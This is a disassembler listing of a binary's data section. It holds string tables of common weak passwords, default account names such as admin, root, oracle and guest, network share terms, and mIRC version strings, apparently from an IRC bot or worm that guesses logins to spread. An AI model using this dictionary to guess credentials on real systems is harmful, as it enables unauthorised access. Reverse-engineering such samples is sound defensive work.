		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun_0	; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset asc_44052C	; "%"
		dd offset asc_440530	; "!"
		dd offset a@		; "!@"
		dd offset a@_0		; "!@#"
		dd offset a@_1		; "!@#$%"
		dd offset a@_2		; "!@#$%^"
		dd offset a@_3		; "!@#$%^&"
		dd offset a@_4		; "!@#$%^&*"
		dd offset asc_440560	; "#"
		dd offset asc_440564	; "!!"
		dd offset off_440568
		dd offset dword_44056C
		dd offset dword_440570
		dd offset dword_440574
		dd offset dword_440578
		dd offset dword_44057C
		dd offset dword_440580
		dd offset dword_440588
		dd offset dword_44058C
		dd offset dword_440590
		dd offset dword_440594
		dd offset dword_44059C
		dd offset dword_4405A0
		dd offset dword_4405A8
		dd offset dword_4405AC
		dd offset dword_4405B4
		dd offset dword_4405BC
		dd offset dword_4405C0
		dd offset dword_4405C4
		dd offset dword_4405C8
		dd offset dword_4405D4
		dd offset dword_4405DC
		dd offset dword_4405E4
		dd offset dword_4405EC
		dd offset dword_4405F4
		dd offset dword_4405F8
		dd offset dword_4405FC
		dd offset dword_440600
		dd offset dword_440604
		dd offset a0000_0	; "0000"
		dd offset a00000_0	; "00000"
		dd offset a000000_0	; "000000"
		dd offset a00000000_0	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_440644	; "*"
		dd offset asc_440648	; "**"
		dd offset asc_44064C	; "***"
		dd offset asc_440650	; "****"
		dd offset asc_440658	; "*****"
		dd offset asc_440660	; "******"
		dd offset asc_440668	; "*******"
		dd offset asc_440670	; "********"
		dd offset asc_44067C	; "*********"
		dd offset a001_0	; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005_0	; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned_0	; "0wned"
		dd offset a1_0		; "1"
		dd offset a11		; "11"
		dd offset a111_0	; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111_0	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888_0	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12_0		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123_0	; "123"
		dd offset a123123	; "123123"
		dd offset a1234_0	; "1234"
		dd offset a12345_0	; "12345"
		dd offset a123456_0	; "123456"
		dd offset a1234567_0	; "1234567"
		dd offset a12345678_0	; "12345678"
		dd offset a123456789_0	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe_0	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003_0	; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321_0	; "54321"
		dd offset a654321_0	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc		; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex_0	; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_1		; "a"
		dd offset aAa_0		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert_0	; "qwert"
		dd offset aQwerty_0	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot_2	; "root"
		dd offset aServer_5	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_2	; "SYSTEM"
		dd offset off_440DFC
		dd offset dword_440E00
		dd offset dword_440E04
		dd offset aTiger_0	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota_0	; "TOYOTA"
		dd offset aToyota_1	; "toyota"
		dd offset asc_440E24	; "x"
		dd offset aXx_2		; "xx"
		dd offset aXxx_0	; "xxx"
		dd offset aXxxx_0	; "xxxx"
		dd offset aXxxxx_0	; "xxxxx"
		dd offset aXxxxxx_0	; "xxxxxx"
		dd offset aXxxxxxx_0	; "xxxxxxx"
		dd offset aXxxxxxxx_0	; "xxxxxxxx"
		dd offset aXxxxxxxxx_0	; "xxxxxxxxx"
		dd offset aXyz_0	; "xyz"
		dd offset aYaco_0	; "yaco"
		dd offset aYang_0	; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd_0	; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsdfghj	; "asdfghj"
		dd offset aAsdfghjk	; "asdfghjk"
		dd offset aAsdfghjkl	; "asdfghjkl"
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB		; "b"
		dd offset aBb		; "bb"
		dd offset aBbb		; "bbb"
		dd offset aBbbb		; "bbbb"
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
		dd offset aBbbbbbb	; "bbbbbbb"
		dd offset aBbbbbbbb	; "bbbbbbbb"
		dd offset aBbbbbbbbb	; "bbbbbbbbb"
		dd offset aC_0		; "c"
		dd offset aCc		; "cc"
		dd offset aCcc		; "ccc"
		dd offset aCccc_0	; "cccc"
		dd offset aCcccc	; "ccccc"
		dd offset aCccccc	; "cccccc"
		dd offset aCcccccc	; "ccccccc"
		dd offset aCccccccc	; "cccccccc"
		dd offset aCcccccccc	; "ccccccccc"
		dd offset aD		; "d"
		dd offset aDd_0		; "dd"
		dd offset aDdd		; "ddd"
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
		dd offset aF		; "f"
		dd offset aFf		; "ff"
		dd offset aFff		; "fff"
		dd offset aFfff		; "ffff"
		dd offset aFffff	; "fffff"
		dd offset aE_0		; "e"
		dd offset aEe		; "ee"
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		dd offset aEeeee	; "eeeee"
		dd offset aEeeeee	; "eeeeee"
		dd offset aG		; "g"
		dd offset aGg		; "gg"
		dd offset aGgg		; "ggg"
		dd offset aGggg		; "gggg"
		dd offset aGgggg	; "ggggg"
		dd offset aGggggg	; "gggggg"
		dd offset asc_441008	; "h"
		dd offset aHh		; "hh"
		dd offset aHhh		; "hhh"
		dd offset aHhhh		; "hhhh"
		dd offset aHhhhh	; "hhhhh"
		dd offset aHhhhhh	; "hhhhhh"
		dd offset aI_0		; "i"
		dd offset aIi		; "ii"
		dd offset aIii		; "iii"
		dd offset aIiii		; "iiii"
		dd offset aIiiii	; "iiiii"
		dd offset aIiiiii	; "iiiiii"
		dd offset aJ_0		; "j"
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK_0		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_441098	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM_3		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN_0		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO_0		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP_0		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU_0		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_26		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT_0		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv_0	; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ_0		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ_0		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem_0	; "system"
		dd offset aAdministrato_5 ; "ADMINISTRATOR"
		dd offset aAdministrato_6 ; "Administrator"
		dd offset aAdministrato_7 ; "administrator"
		dd offset aFubar_0	; "fubar"
		dd offset aBla_0	; "bla"
		dd offset aGuest_2	; "GUEST"
		dd offset aRoot_3	; "ROOT"
		dd offset aRoot_4	; "root"
		dd offset aAdmin_1	; "ADMIN"
		dd offset aPassword_1	; "PASSWORD"
		dd offset aTemp_0	; "TEMP"
		dd offset aShare_1	; "SHARE"
		dd offset aWrite_0	; "WRITE"
		dd offset aFull_1	; "FULL"
		dd offset aLadeda_0	; "ladeda"
		dd offset aBoth_0	; "BOTH"
		dd offset aRead_0	; "READ"
		dd offset aFiles_0	; "FILES"
		dd offset aDemo_0	; "DEMO"
		dd offset aOwner_2	; "OWNER"
		dd offset aOwner_3	; "Owner"
		dd offset aEdu_0	; "edu"
		dd offset aTest_0	; "TEST"
		dd offset aAccess_0	; "ACCESS"
		dd offset aUser_5	; "USER"
		dd offset aBackup_0	; "BACKUP"
		dd offset aSystem_3	; "SYSTEM"
		dd offset aServer_7	; "SERVER"
		dd offset dword_4E0754
		dd 0
dword_43C6A4	dd 10h			; DATA XREF: sub_401CC1+716r
					; sub_401CC1+74Cr ...
dword_43C6A8	dd 6F72402Ah, 6D6Fh	; DATA XREF: .nsp0:off_43A154o
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:off_43A158o
		align 10h
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:0043A15Co
		align 10h
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:0043A160o
		align 10h
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:0043A164o
		align 10h
aAdministrato_0	db 'Administrator',0    ; DATA XREF: .nsp0:0043A210o
		align 10h
aAdministrato_1	db 'administrator',0    ; DATA XREF: .nsp0:0043A214o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: .nsp0:0043A218o
		align 10h
aAdministrateur	db 'administrateur',0   ; DATA XREF: .nsp0:0043A21Co
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: .nsp0:0043A220o
aAdmins		db 'admins',0           ; DATA XREF: .nsp0:0043A224o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .nsp0:0043A228o
		align 4
aStaff		db 'staff',0            ; DATA XREF: .nsp0:0043A22Co
		align 4
aRoot		db 'root',0             ; DATA XREF: .nsp0:0043A230o
		align 4
aComputer	db 'computer',0         ; DATA XREF: .nsp0:0043A234o
		align 4
aOwner		db 'owner',0            ; DATA XREF: .nsp0:0043A238o
		align 10h
aStudent	db 'student',0          ; DATA XREF: .nsp0:0043A23Co
aTeacher	db 'teacher',0          ; DATA XREF: .nsp0:0043A240o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .nsp0:0043A244o
		align 4
aGuest_0	db 'guest',0            ; DATA XREF: .nsp0:0043A248o
		align 4
aDefault	db 'default',0          ; DATA XREF: .nsp0:0043A24Co
aDatabase	db 'database',0         ; DATA XREF: .nsp0:0043A250o
		align 4
aDba		db 'dba',0              ; DATA XREF: .nsp0:0043A254o
aOracle		db 'oracle',0           ; DATA XREF: .nsp0:0043A258o
		align 4
aDb2		db 'db2',0              ; DATA XREF: .nsp0:0043A25Co
aUser_3		db 'USER',0             ; DATA XREF: .nsp0:0043A260o
		align 10h
aAdministrato_2	db 'ADMINISTRATOR',0    ; DATA XREF: .nsp0:0043A26Co
		align 10h
aAdministrato_3	db 'Administrator',0    ; DATA XREF: .nsp0:0043A270o
		align 10h
aAdministrato_4	db 'administrator',0    ; DATA XREF: .nsp0:0043A274o
		align 10h
aFubar		db 'fubar',0            ; DATA XREF: .nsp0:0043A278o
		align 4
aBla		db 'bla',0              ; DATA XREF: .nsp0:0043A27Co
aGuest_1	db 'GUEST',0            ; DATA XREF: .nsp0:0043A280o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: .nsp0:0043A284o
		align 4
aRoot_1		db 'root',0             ; DATA XREF: .nsp0:0043A288o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: .nsp0:0043A28Co
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: .nsp0:0043A290o
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: .nsp0:0043A294o
		align 10h
aShare_0	db 'SHARE',0            ; DATA XREF: .nsp0:0043A298o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: .nsp0:0043A29Co
		align 10h
aFull_0		db 'FULL',0             ; DATA XREF: .nsp0:0043A2A0o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: .nsp0:0043A2A4o
		align 10h
aBoth		db 'BOTH',0             ; DATA XREF: .nsp0:0043A2A8o
		align 4
aRead		db 'READ',0             ; DATA XREF: .nsp0:0043A2ACo
		align 10h
aFiles		db 'FILES',0            ; DATA XREF: .nsp0:0043A2B0o
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: .nsp0:0043A2B4o
		align 10h
aOwner_0	db 'OWNER',0            ; DATA XREF: .nsp0:0043A2B8o
		align 4
aOwner_1	db 'Owner',0            ; DATA XREF: .nsp0:0043A2BCo
		align 10h
aEdu		db 'edu',0              ; DATA XREF: .nsp0:0043A2C0o
aTest		db 'TEST',0             ; DATA XREF: .nsp0:0043A2C4o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: .nsp0:0043A2C8o
		align 4
aUser_4		db 'USER',0             ; DATA XREF: .nsp0:0043A2CCo
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: .nsp0:0043A2D0o
		align 4
aSystem_1	db 'SYSTEM',0           ; DATA XREF: .nsp0:0043A2D4o
		align 4
aServer_6	db 'SERVER',0           ; DATA XREF: .nsp0:0043A2D8o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: .nsp0:0043A2DCo
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: .nsp0:0043A2E0o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .nsp0:0043A2E4o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .nsp0:0043A2E8o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .nsp0:0043A2ECo
		align 10h
aChangeme_0	db 'Changeme',0         ; DATA XREF: .nsp0:0043A2F0o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: .nsp0:0043A2F4o
a1:					; DATA XREF: .nsp0:0043A2F8o
		unicode	0, <1>,0
a12		db '12',0               ; DATA XREF: .nsp0:0043A2FCo
		align 4
a123		db '123',0              ; DATA XREF: .nsp0:0043A300o
a1234		db '1234',0             ; DATA XREF: .nsp0:0043A304o
		align 4
a12345		db '12345',0            ; DATA XREF: .nsp0:0043A308o
		align 10h
a123456		db '123456',0           ; DATA XREF: .nsp0:0043A30Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: .nsp0:0043A310o
a12345678	db '12345678',0         ; DATA XREF: .nsp0:0043A314o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .nsp0:0043A318o
		align 4
a654321		db '654321',0           ; DATA XREF: .nsp0:0043A31Co
		align 10h
a54321		db '54321',0            ; DATA XREF: .nsp0:0043A320o
		align 4
a111		db '111',0              ; DATA XREF: .nsp0:0043A324o
a11111111	db '11111111',0         ; DATA XREF: .nsp0:0043A328o
		align 4
a88888888	db '88888888',0         ; DATA XREF: .nsp0:0043A32Co
		align 4
aPass_1		db 'pass',0             ; DATA XREF: .nsp0:0043A330o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .nsp0:0043A334o
		align 4
aDatabase_0	db 'database',0         ; DATA XREF: .nsp0:0043A338o
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: .nsp0:0043A33Co
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .nsp0:0043A340o
		align 10h
aOracle_0	db 'oracle',0           ; DATA XREF: .nsp0:0043A344o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: .nsp0:0043A348o
		align 10h
a123qwe		db '123qwe',0           ; DATA XREF: .nsp0:0043A34Co
		align 4
aComputer_0	db 'computer',0         ; DATA XREF: .nsp0:0043A350o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: .nsp0:0043A354o
		align 10h
aSuper		db 'super',0            ; DATA XREF: .nsp0:0043A358o
		align 4
a123asd_0	db '123asd',0
		align 10h
aIhavenopass	db 'ihavenopass',0
aGodblessyou	db 'godblessyou',0
aEnable		db 'enable',0
		align 10h
aXp_0		db 'xp',0
		align 4
a2002_0		db '2002',0
		align 4
a2003_1		db '2003',0
		align 4
a2600_0		db '2600',0
		align 4
a110_0		db '110',0
a111111_0	db '111111',0
		align 4
a121212_0	db '121212',0
		align 10h
a123123_0	db '123123',0
		align 4
a1234qwer_0	db '1234qwer',0
		align 4
a123abc_0	db '123abc',0
		align 4
a007_0		db '007',0
aAlpha		db 'alpha',0
		align 4
aPatrick	db 'patrick',0
aPat		db 'pat',0              ; DATA XREF: .nsp0:0043A3A0o
aSex		db 'sex',0
aGod		db 'god',0
aFoobar		db 'foobar',0
		align 4
aNilez		db 'Nilez',0
		align 4
aDevil		db 'devil',0
		align 4
aNetdevil	db 'netdevil',0
		align 10h
aNetDevil	db 'net-devil',0
		align 4
a0wned		db '0wned',0            ; DATA XREF: .nsp0:0043A3C0o
		align 4
aOwned		db 'owned',0
		align 4
aIrule		db 'irule',0
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: .nsp0:0043A3CCo
aFucked		db 'fucked',0           ; DATA XREF: .nsp0:0043A3D0o
		align 4
aCrash		db 'crash',0            ; DATA XREF: .nsp0:0043A3D4o
		align 4
aA_2:
		unicode	0, <a>,0
aAaa_0		db 'aaa',0              ; DATA XREF: .nsp0:0043A3DCo
aAbc		db 'abc',0
aTest123	db 'test123',0
aWin		db 'win',0
aPc		db 'pc',0
		align 4
aAsdf_0		db 'asdf',0
		align 10h
aSecret		db 'secret',0
		align 4
aQwer_0		db 'qwer',0
		align 10h
aYxcv		db 'yxcv',0
		align 4
aZxcv_0		db 'zxcv',0
		align 10h
aHome		db 'home',0
		align 4
aLogin_0	db 'login',0
		align 10h
aPwd		db 'pwd',0
aLove		db 'love',0
		align 4
aMypc		db 'mypc',0
		align 4
aMypc123	db 'mypc123',0
aAdmin123	db 'admin123',0
		align 4
aPw123		db 'pw123',0
		align 10h
aMypass		db 'mypass',0
		align 4
aMypass123	db 'mypass123',0
		align 4
aPw		db 'pw',0
		align 4
aMat		db 'Mat',0
aMatt		db 'Matt',0
		align 4
aMatthew	db 'Matthew',0
aGobo		db 'gobo',0
		align 4
aSatan		db 'satan',0
		align 4
aSatanik	db 'satanik',0
aSatanic	db 'satanic',0
aSpaceman	db 'spaceman',0
		align 4
aHeaven		db 'heaven',0
		align 10h
aW00t		db 'w00t',0
		align 4
a0wn3d_0	db '0wn3d',0
		align 10h
aKiller		db 'killer',0
		align 4
aLeet		db 'leet',0
		align 10h
aL33t		db 'l33t',0             ; DATA XREF: .nsp0:0043A464o
		align 4
aL337		db 'l337',0             ; DATA XREF: .nsp0:0043A468o
		align 10h
aHacker		db 'hacker',0           ; DATA XREF: .nsp0:0043A46Co
		align 4
